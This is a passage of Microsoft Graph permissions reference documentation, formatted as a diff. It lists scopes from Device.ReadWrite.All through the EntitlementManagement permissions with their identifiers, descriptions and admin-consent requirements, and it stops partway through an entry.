+Device.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+1138cb37-bd11-4084-a2b7-9f71582aeddb |
+- |
+
+
+| DisplayText |
+Read and write devices |
+- |
+
+
+| Description |
+Allows the app to read and write all device properties without a signed in user. Does not allow device creation, device deletion or update of device alternative security identifiers. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+Before December 3rd, 2020, when the application permission Device.ReadWrite.All was granted, the Device Managers directory role was also assigned to the app's service principal. This directory role assignment is not removed automatically when the associated application permissions is revoked. To ensure that an application's access to read or write to devices is removed, customers must also remove any related directory roles that were granted to the application.
+A service update disabling this behavior began rolling out on December 3rd, 2020. Deployment to all customers completed on January 11th, 2021. Directory roles are no longer automatically assigned when application permissions are granted.
+
+DeviceLocalCredential.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+884b599e-4d48-43a5-ba94-15c414d00588 |
+280b3b69-0437-44b1-bc20-3b2fca1ee3e9 |
+
+
+| DisplayText |
+Read device local credential passwords |
+Read device local credential passwords |
+
+
+| Description |
+Allows the app to read device local credential properties including passwords, without a signed-in user. |
+Allows the app to read device local credential properties including passwords, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+DeviceLocalCredential.ReadBasic.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+db51be59-e728-414b-b800-e0f010df1a79 |
+9917900e-410b-4d15-846e-42a357488545 |
+
+
+| DisplayText |
+Read device local credential properties |
+Read device local credential properties |
+
+
+| Description |
+Allows the app to read device local credential properties excluding passwords, without a signed-in user. |
+Allows the app to read device local credential properties excluding passwords, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+DeviceManagementApps.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+7a6ee1e7-141e-4cec-ae74-d9db155731ff |
+4edf5f54-4666-44af-9de9-0144fb4b6e8c |
+
+
+| DisplayText |
+Read Microsoft Intune apps |
+Read Microsoft Intune apps |
+
+
+| Description |
+Allows the app to read the properties, group assignments and status of apps, app configurations and app protection policies managed by Microsoft Intune, without a signed-in user. |
+Allows the app to read the properties, group assignments and status of apps, app configurations and app protection policies managed by Microsoft Intune. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+Using the Microsoft Graph APIs to configure Intune controls and policies still requires that the Intune service is correctly licensed by the customer.
+These permissions aren't supported for personal Microsoft accounts.
+
+DeviceManagementApps.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+78145de6-330d-4800-a6ce-494ff2d33d07 |
+7b3f05d5-f68c-4b8d-8c59-a2ecd12f24af |
+
+
+| DisplayText |
+Read and write Microsoft Intune apps |
+Read and write Microsoft Intune apps |
+
+
+| Description |
+Allows the app to read and write the properties, group assignments and status of apps, app configurations and app protection policies managed by Microsoft Intune, without a signed-in user. |
+Allows the app to read and write the properties, group assignments and status of apps, app configurations and app protection policies managed by Microsoft Intune. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+Using the Microsoft Graph APIs to configure Intune controls and policies still requires that the Intune service is correctly licensed by the customer.
+These permissions aren't supported for personal Microsoft accounts.
+
+DeviceManagementConfiguration.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+dc377aa6-52d8-4e23-b271-2a7ae04cedf3 |
+f1493658-876a-4c87-8fa7-edb559b3476a |
+
+
+| DisplayText |
+Read Microsoft Intune device configuration and policies |
+Read Microsoft Intune Device Configuration and Policies |
+
+
+| Description |
+Allows the app to read properties of Microsoft Intune-managed device configuration and device compliance policies and their assignment to groups, without a signed-in user. |
+Allows the app to read properties of Microsoft Intune-managed device configuration and device compliance policies and their assignment to groups. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+Using the Microsoft Graph APIs to configure Intune controls and policies still requires that the Intune service is correctly licensed by the customer.
+These permissions aren't supported for personal Microsoft accounts.
+
+DeviceManagementConfiguration.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+9241abd9-d0e6-425a-bd4f-47ba86e767a4 |
+0883f392-0a7a-443d-8c76-16a6d39c7b63 |
+
+
+| DisplayText |
+Read and write Microsoft Intune device configuration and policies |
+Read and write Microsoft Intune Device Configuration and Policies |
+
+
+| Description |
+Allows the app to read and write properties of Microsoft Intune-managed device configuration and device compliance policies and their assignment to groups, without a signed-in user. |
+Allows the app to read and write properties of Microsoft Intune-managed device configuration and device compliance policies and their assignment to groups. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+Using the Microsoft Graph APIs to configure Intune controls and policies still requires that the Intune service is correctly licensed by the customer.
+These permissions aren't supported for personal Microsoft accounts.
+
+DeviceManagementManagedDevices.PrivilegedOperations.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+5b07b0dd-2377-4e44-a38d-703f09a0dc3c |
+3404d2bf-2b13-457e-a330-c24615765193 |
+
+
+| DisplayText |
+Perform user-impacting remote actions on Microsoft Intune devices |
+Perform user-impacting remote actions on Microsoft Intune devices |
+
+
+| Description |
+Allows the app to perform remote high impact actions such as wiping the device or resetting the passcode on devices managed by Microsoft Intune, without a signed-in user. |
+Allows the app to perform remote high impact actions such as wiping the device or resetting the passcode on devices managed by Microsoft Intune. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+Using the Microsoft Graph APIs to configure Intune controls and policies still requires that the Intune service is correctly licensed by the customer.
+These permissions aren't supported for personal Microsoft accounts.
+
+DeviceManagementManagedDevices.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+2f51be20-0bb4-4fed-bf7b-db946066c75e |
+314874da-47d6-4978-88dc-cf0d37f0bb82 |
+
+
+| DisplayText |
+Read Microsoft Intune devices |
+Read Microsoft Intune devices |
+
+
+| Description |
+Allows the app to read the properties of devices managed by Microsoft Intune, without a signed-in user. |
+Allows the app to read the properties of devices managed by Microsoft Intune. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+Using the Microsoft Graph APIs to configure Intune controls and policies still requires that the Intune service is correctly licensed by the customer.
+These permissions aren't supported for personal Microsoft accounts.
+
+DeviceManagementManagedDevices.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+243333ab-4d21-40cb-a475-36241daa0842 |
+44642bfe-8385-4adc-8fc6-fe3cb2c375c3 |
+
+
+| DisplayText |
+Read and write Microsoft Intune devices |
+Read and write Microsoft Intune devices |
+
+
+| Description |
+Allows the app to read and write the properties of devices managed by Microsoft Intune, without a signed-in user. Does not allow high impact operations such as remote wipe and password reset on the device's owner |
+Allows the app to read and write the properties of devices managed by Microsoft Intune. Does not allow high impact operations such as remote wipe and password reset on the device's owner. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+Using the Microsoft Graph APIs to configure Intune controls and policies still requires that the Intune service is correctly licensed by the customer.
+These permissions aren't supported for personal Microsoft accounts.
+
+DeviceManagementRBAC.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+58ca0d9a-1575-47e1-a3cb-007ef2e4583b |
+49f0cc30-024c-4dfd-ab3e-82e137ee5431 |
+
+
+| DisplayText |
+Read Microsoft Intune RBAC settings |
+Read Microsoft Intune RBAC settings |
+
+
+| Description |
+Allows the app to read the properties relating to the Microsoft Intune Role-Based Access Control (RBAC) settings, without a signed-in user. |
+Allows the app to read the properties relating to the Microsoft Intune Role-Based Access Control (RBAC) settings. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+Using the Microsoft Graph APIs to configure Intune controls and policies still requires that the Intune service is correctly licensed by the customer.
+These permissions aren't supported for personal Microsoft accounts.
+
+DeviceManagementRBAC.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+e330c4f0-4170-414e-a55a-2f022ec2b57b |
+0c5e8a55-87a6-4556-93ab-adc52c4d862d |
+
+
+| DisplayText |
+Read and write Microsoft Intune RBAC settings |
+Read and write Microsoft Intune RBAC settings |
+
+
+| Description |
+Allows the app to read and write the properties relating to the Microsoft Intune Role-Based Access Control (RBAC) settings, without a signed-in user. |
+Allows the app to read and write the properties relating to the Microsoft Intune Role-Based Access Control (RBAC) settings. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+Using the Microsoft Graph APIs to configure Intune controls and policies still requires that the Intune service is correctly licensed by the customer.
+These permissions aren't supported for personal Microsoft accounts.
+
+DeviceManagementServiceConfig.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+06a5fe6d-c49d-46a7-b082-56b1b14103c7 |
+8696daa5-bce5-4b2e-83f9-51b6defc4e1e |
+
+
+| DisplayText |
+Read Microsoft Intune configuration |
+Read Microsoft Intune configuration |
+
+
+| Description |
+Allows the app to read Microsoft Intune service properties including device enrollment and third party service connection configuration, without a signed-in user. |
+Allows the app to read Microsoft Intune service properties including device enrollment and third party service connection configuration. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+Using the Microsoft Graph APIs to configure Intune controls and policies still requires that the Intune service is correctly licensed by the customer.
+These permissions aren't supported for personal Microsoft accounts.
+
+DeviceManagementServiceConfig.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+5ac13192-7ace-4fcf-b828-1a26f28068ee |
+662ed50a-ac44-4eef-ad86-62eed9be2a29 |
+
+
+| DisplayText |
+Read and write Microsoft Intune configuration |
+Read and write Microsoft Intune configuration |
+
+
+| Description |
+Allows the app to read and write Microsoft Intune service properties including device enrollment and third party service connection configuration, without a signed-in user. |
+Allows the app to read and write Microsoft Intune service properties including device enrollment and third party service connection configuration. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+Using the Microsoft Graph APIs to configure Intune controls and policies still requires that the Intune service is correctly licensed by the customer.
+These permissions aren't supported for personal Microsoft accounts.
+
+Directory.AccessAsUser.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+0e263e50-5827-48a4-b97c-d940288653c7 |
+
+
+| DisplayText |
+- |
+Access directory as the signed in user |
+
+
+| Description |
+- |
+Allows the app to have the same access to information in the directory as the signed-in user. |
+
+
+| AdminConsentRequired |
+- |
+Yes |
+
+
+
+
+Directory permissions provide the highest level of privilege for accessing directory resources such as user, group, and device in an organization.
+They also exclusively control access to other directory resources like: organizational contacts and schema extensions, as well as many directory resources including administrative units, directory roles, directory settings, and policies.
+
+
+Directory.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+7ab1d382-f21e-4acd-a863-ba3e13f7da61 |
+06da0dbc-49e2-44d2-8312-53f166ab848a |
+
+
+| DisplayText |
+Read directory data |
+Read directory data |
+
+
+| Description |
+Allows the app to read data in your organization's directory, such as users, groups and apps, without a signed-in user. |
+Allows the app to read data in your organization's directory, such as users, groups and apps. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+Directory permissions provide the highest level of privilege for accessing directory resources such as user, group, and device in an organization.
+They also exclusively control access to other directory resources like: organizational contacts and schema extensions, as well as many directory resources including administrative units, directory roles, directory settings, and policies.
+
+
Note
+
Before December 3rd, 2020, when the application permission Directory.Read.All was granted, the Directory Readers directory role was also assigned to the app's service principal. This directory role isn't removed automatically when the associated application permissions are revoked. To remove an application's access to read or write to the directory, customers must also remove any directory roles that were granted to the application.
+
A service update disabling this behavior began rolling out on December 3rd, 2020. Deployment to all customers completed on January 11th, 2021. Directory roles are no longer automatically assigned when application permissions are granted.
+
+
+Directory.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+19dbc75e-c2e2-444c-a770-ec69d8559fc7 |
+c5366453-9fb0-48a5-a156-24f0c49a4b84 |
+
+
+| DisplayText |
+Read and write directory data |
+Read and write directory data |
+
+
+| Description |
+Allows the app to read and write data in your organization's directory, such as users, and groups, without a signed-in user. Does not allow user or group deletion. |
+Allows the app to read and write data in your organization's directory, such as users, and groups. It does not allow the app to delete users or groups, or reset user passwords. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+Directory permissions are not recommended for use and might be deprecated in the future.
+Directory.ReadWrite.All grants access that is broadly equivalent to a global tenant admin. Apps that are granted Directory.ReadWrite.All can manage the full range of directory resources, and they can manage authorization for other apps and users to access resources across the organization. This includes directory resources like users, groups, applications, and devices, and nondirectory resources in Exchange, SharePoint, Teams, and other services.
+Before December 3rd, 2020, when the application permission Directory.ReadWrite.All was granted, the Directory Writers directory role was also assigned. This directory role isn't removed automatically when the associated application permissions are revoked. To remove an application's access to read or write to the directory, customers must also remove any directory roles that were granted to the application.
+A service update disabling this behavior began rolling out on December 3rd, 2020. Deployment to all customers completed on January 11, 2021. Directory roles are no longer automatically assigned when application permissions are granted.
+
+Directory.Write.Restricted
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+f20584af-9290-4153-9280-ff8bb2c0ea7f |
+cba5390f-ed6a-4b7f-b657-0efc2210ed20 |
+
+
+| DisplayText |
+Manage restricted resources in the directory |
+Manage restricted resources in the directory |
+
+
+| Description |
+Allows the app to manage restricted resources based on the other permissions granted to the app, without a signed-in user. |
+Allows the app to manage restricted resources based on the other permissions granted to the app, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+DirectoryRecommendations.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+ae73097b-cb2a-4447-b064-5d80f6093921 |
+34d3bd24-f6a6-468c-b67c-0c365c1d6410 |
+
+
+| DisplayText |
+Read all Azure AD recommendations |
+Read Azure AD recommendations |
+
+
+| Description |
+Allows the app to read all Azure AD recommendations, without a signed-in user. |
+Allows the app to read Azure AD recommendations, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+DirectoryRecommendations.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+0e9eea12-4f01-45f6-9b8d-3ea4c8144158 |
+f37235e8-90a0-4189-93e2-e55b53867ccd |
+
+
+| DisplayText |
+Read and update all Azure AD recommendations |
+Read and update Azure AD recommendations |
+
+
+| Description |
+Allows the app to read and update all Azure AD recommendations, without a signed-in user. |
+Allows the app to read and update Azure AD recommendations, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+Domain.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+dbb9058a-0e50-45d7-ae91-66909b5d4664 |
+2f9ee017-59c1-4f1d-9472-bd5529a7b311 |
+
+
+| DisplayText |
+Read domains |
+Read domains. |
+
+
+| Description |
+Allows the app to read all domain properties without a signed-in user. |
+Allows the app to read all domain properties on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+Domain.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+7e05723c-0bb0-42da-be95-ae9f08a6e53c |
+0b5d694c-a244-4bde-86e6-eb5cd07730fe |
+
+
+| DisplayText |
+Read and write domains |
+Read and write domains |
+
+
+| Description |
+Allows the app to read and write all domain properties without a signed in user. Â Also allows the app to add, Â verify and remove domains. |
+Allows the app to read and write all domain properties on behalf of the signed-in user. Also allows the app to add, verify and remove domains. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+EAS.AccessAsUser.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+ff91d191-45a0-43fd-b837-bd682c4a0b0f |
+
+
+| DisplayText |
+- |
+Access mailboxes via Exchange ActiveSync |
+
+
+| Description |
+- |
+Allows the app to have the same access to mailboxes as the signed-in user via Exchange ActiveSync. |
+
+
+| AdminConsentRequired |
+- |
+No |
+
+
+
+
+eDiscovery.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+50180013-6191-4d1e-a373-e590ff4e66af |
+99201db3-7652-4d5a-809a-bdb94f85fe3c |
+
+
+| DisplayText |
+Read all eDiscovery objects |
+Read all eDiscovery objects |
+
+
+| Description |
+Allows the app to read eDiscovery objects such as cases, custodians, review sets and other related objects without a signed-in user. |
+Allows the app to read eDiscovery objects such as cases, custodians, review sets and other related objects on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+eDiscovery.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+b2620db1-3bf7-4c5b-9cb9-576d29eac736 |
+acb8f680-0834-4146-b69e-4ab1b39745ad |
+
+
+| DisplayText |
+Read and write all eDiscovery objects |
+Read and write all eDiscovery objects |
+
+
+| Description |
+Allows the app to read and write eDiscovery objects such as cases, custodians, review sets and other related objects without a signed-in user. |
+Allows the app to read and write eDiscovery objects such as cases, custodians, review sets and other related objects on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+EduAdministration.Read
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+8523895c-6081-45bf-8a5d-f062a2f12c9f |
+
+
+| DisplayText |
+- |
+Read education app settings |
+
+
+| Description |
+- |
+Read the state and settings of all Microsoft education apps on behalf of the user. |
+
+
+| AdminConsentRequired |
+- |
+Yes |
+
+
+
+
+EduAdministration.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+7c9db06a-ec2d-4e7b-a592-5a1e30992566 |
+- |
+
+
+| DisplayText |
+Read Education app settings |
+- |
+
+
+| Description |
+Read the state and settings of all Microsoft education apps. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+EduAdministration.ReadWrite
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+63589852-04e3-46b4-bae9-15d5b1050748 |
+
+
+| DisplayText |
+- |
+Manage education app settings |
+
+
+| Description |
+- |
+Manage the state and settings of all Microsoft education apps on behalf of the user. |
+
+
+| AdminConsentRequired |
+- |
+Yes |
+
+
+
+
+EduAdministration.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+9bc431c3-b8bc-4a8d-a219-40f10f92eff6 |
+- |
+
+
+| DisplayText |
+Manage education app settings |
+- |
+
+
+| Description |
+Manage the state and settings of all Microsoft education apps. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+EduAssignments.Read
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+091460c9-9c4a-49b2-81ef-1f3d852acce2 |
+
+
+| DisplayText |
+- |
+Read users' class assignments and their grades |
+
+
+| Description |
+- |
+Allows the app to read assignments and their grades on behalf of the user. |
+
+
+| AdminConsentRequired |
+- |
+Yes |
+
+
+
+
+EduAssignments.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+4c37e1b6-35a1-43bf-926a-6f30f2cdf585 |
+- |
+
+
+| DisplayText |
+Read all class assignments with grades |
+- |
+
+
+| Description |
+Allows the app to read all class assignments with grades for all users without a signed-in user. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+EduAssignments.ReadBasic
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+c0b0103b-c053-4b2e-9973-9f3a544ec9b8 |
+
+
+| DisplayText |
+- |
+Read users' class assignments without grades |
+
+
+| Description |
+- |
+Allows the app to read assignments without grades on behalf of the user. |
+
+
+| AdminConsentRequired |
+- |
+Yes |
+
+
+
+
+EduAssignments.ReadBasic.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+6e0a958b-b7fc-4348-b7c4-a6ab9fd3dd0e |
+- |
+
+
+| DisplayText |
+Read all class assignments without grades |
+- |
+
+
+| Description |
+Allows the app to read all class assignments without grades for all users without a signed-in user. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+EduAssignments.ReadWrite
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+2f233e90-164b-4501-8bce-31af2559a2d3 |
+
+
+| DisplayText |
+- |
+Read and write users' class assignments and their grades |
+
+
+| Description |
+- |
+Allows the app to read and write assignments and their grades on behalf of the user. |
+
+
+| AdminConsentRequired |
+- |
+Yes |
+
+
+
+
+EduAssignments.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+0d22204b-6cad-4dd0-8362-3e3f2ae699d9 |
+- |
+
+
+| DisplayText |
+Create, read, update and delete all class assignments with grades |
+- |
+
+
+| Description |
+Allows the app to create, read, update and delete all class assignments with grades for all users without a signed-in user. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+EduAssignments.ReadWriteBasic
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+2ef770a1-622a-47c4-93ee-28d6adbed3a0 |
+
+
+| DisplayText |
+- |
+Read and write users' class assignments without grades |
+
+
+| Description |
+- |
+Allows the app to read and write assignments without grades on behalf of the user. |
+
+
+| AdminConsentRequired |
+- |
+Yes |
+
+
+
+
+EduAssignments.ReadWriteBasic.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+f431cc63-a2de-48c4-8054-a34bc093af84 |
+- |
+
+
+| DisplayText |
+Create, read, update and delete all class assignments without grades |
+- |
+
+
+| Description |
+Allows the app to create, read, update and delete all class assignments without grades for all users without a signed-in user. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+EduCurricula.Read
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+484859e8-b9e2-4e92-b910-84db35dadd29 |
+
+
+| DisplayText |
+- |
+Read the user's class modules and resources |
+
+
+| Description |
+- |
+Allows the app to read the user's modules and resources on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+- |
+Yes |
+
+
+
+
+EduCurricula.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+6cdb464c-3a03-40f8-900b-4cb7ea1da9c0 |
+- |
+
+
+| DisplayText |
+Read all class modules and resources |
+- |
+
+
+| Description |
+Allows the app to read all modules and resources, without a signed-in user. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+EduCurricula.ReadWrite
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+4793c53b-df34-44fd-8d26-d15c517732f5 |
+
+
+| DisplayText |
+- |
+Read and write the user's class modules and resources |
+
+
+| Description |
+- |
+Allows the app to read and write user's modules and resources on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+- |
+Yes |
+
+
+
+
+EduCurricula.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+6a0c2318-d59d-4c7d-bf2e-5f3902dc2593 |
+- |
+
+
+| DisplayText |
+Read and write all class modules and resources |
+- |
+
+
+| Description |
+Allows the app to read and write all modules and resources, without a signed-in user. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+EduReports-Reading.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+ad248c30-1919-40c8-b3d2-304481894e88 |
+- |
+
+
+| DisplayText |
+Read all tenant reading assignments submissions data |
+- |
+
+
+| Description |
+Allows the app to read all tenant users reading assignments submissions data without a signed-in user. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+EduReports-Reading.ReadAnonymous.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+040330d7-be7e-4130-b349-a6eb3a56e2f8 |
+- |
+
+
+| DisplayText |
+Read all tenant reading assignments submissions data |
+- |
+
+
+| Description |
+Allows the app to read all tenant users reading assignments submissions data (excludes student-identifying information) without a signed-in user. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+EduReports-Reflect.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+c5debf73-bdc8-473d-bf07-f4074ad05f71 |
+- |
+
+
+| DisplayText |
+Read all tenant reflect check-ins submissions data |
+- |
+
+
+| Description |
+Allows the app to read all tenant users reflect check-ins submissions data without a signed-in user. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+EduReports-Reflect.ReadAnonymous.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+f5d05dba-7ef0-46fc-b62c-a7282555f428 |
+- |
+
+
+| DisplayText |
+Read all tenant reflect check-ins submissions data |
+- |
+
+
+| Description |
+Allows the app to read all tenant users reflect check-ins submissions data (excludes responder-identifying information) without a signed-in user. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+EduRoster.Read
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+a4389601-22d9-4096-ac18-36a927199112 |
+
+
+| DisplayText |
+- |
+Read users' view of the roster |
+
+
+| Description |
+- |
+Allows the app to read the structure of schools and classes in an organization's roster and education-specific information about users to be read on behalf of the user. |
+
+
+| AdminConsentRequired |
+- |
+Yes |
+
+
+
+
+EduRoster.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+e0ac9e1b-cb65-4fc5-87c5-1a8bc181f648 |
+- |
+
+
+| DisplayText |
+Read the organization's roster |
+- |
+
+
+| Description |
+Allows the app to read the structure of schools and classes in the organization's roster and education-specific information about all users to be read. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+EduRoster.ReadBasic
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+5d186531-d1bf-4f07-8cea-7c42119e1bd9 |
+
+
+| DisplayText |
+- |
+Read a limited subset of users' view of the roster |
+
+
+| Description |
+- |
+Allows the app to read a limited subset of the properties from the structure of schools and classes in an organization's roster and a limited subset of properties about users to be read on behalf of the user. Includes name, status, education role, email address and photo. |
+
+
+| AdminConsentRequired |
+- |
+Yes |
+
+
+
+
+EduRoster.ReadBasic.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+0d412a8c-a06c-439f-b3ec-8abcf54d2f96 |
+- |
+
+
+| DisplayText |
+Read a limited subset of the organization's roster |
+- |
+
+
+| Description |
+Allows the app to read a limited subset of properties from both the structure of schools and classes in the organization's roster and education-specific information about all users. Includes name, status, role, email address and photo. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+EduRoster.ReadWrite
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+359e19a6-e3fa-4d7f-bcab-d28ec592b51e |
+
+
+| DisplayText |
+- |
+Read and write users' view of the roster |
+
+
+| Description |
+- |
+Allows the app to read and write the structure of schools and classes in an organization's roster and education-specific information about users to be read and written on behalf of the user. |
+
+
+| AdminConsentRequired |
+- |
+Yes |
+
+
+
+
+EduRoster.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+d1808e82-ce13-47af-ae0d-f9b254e6d58a |
+- |
+
+
+| DisplayText |
+Read and write the organization's roster |
+- |
+
+
+| Description |
+Allows the app to read and write the structure of schools and classes in the organization's roster and education-specific information about all users to be read and written. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+email
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+64a6cdd6-aab1-4aaf-94b8-3cc8405e90d0 |
+
+
+| DisplayText |
+- |
+View users' email address |
+
+
+| Description |
+- |
+Allows the app to read your users' primary email address |
+
+
+| AdminConsentRequired |
+- |
+No |
+
+
+
+EntitlementManagement.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+c74fd47d-ed3c-45c3-9a9e-b8676de685d2 |
+5449aa12-1393-4ea2-a7c7-d0e06c1a56b2 |
+
+
+| DisplayText |
+Read all entitlement management resources |
+Read all entitlement management resources |
+
+
+| Description |
+Allows the app to read access packages and related entitlement management resources without a signed-in user. |
+Allows the app to read access packages and related entitlement management resources on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+EntitlementManagement.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+9acd699f-1e81-4958-b001-93b1d2506e19 |
+ae7a573d-81d7-432b-ad44-4ed5c9d89038 |
+
+
+| DisplayText |
+Read and write all entitlement management resources |
+Read and write entitlement management resources |
+
+
+| Description |
+Allows the app to read and write access packages and related entitlement management resources without a signed-in user. |
+Allows the app to request access to and management of access packages and related entitlement management resources on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+EntitlementMgmt-SubjectAccess.ReadWrite
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+e9fdcbbb-8807-410f-b9ec-8d5468c7c2ac |
+
+
+| DisplayText |
+- |
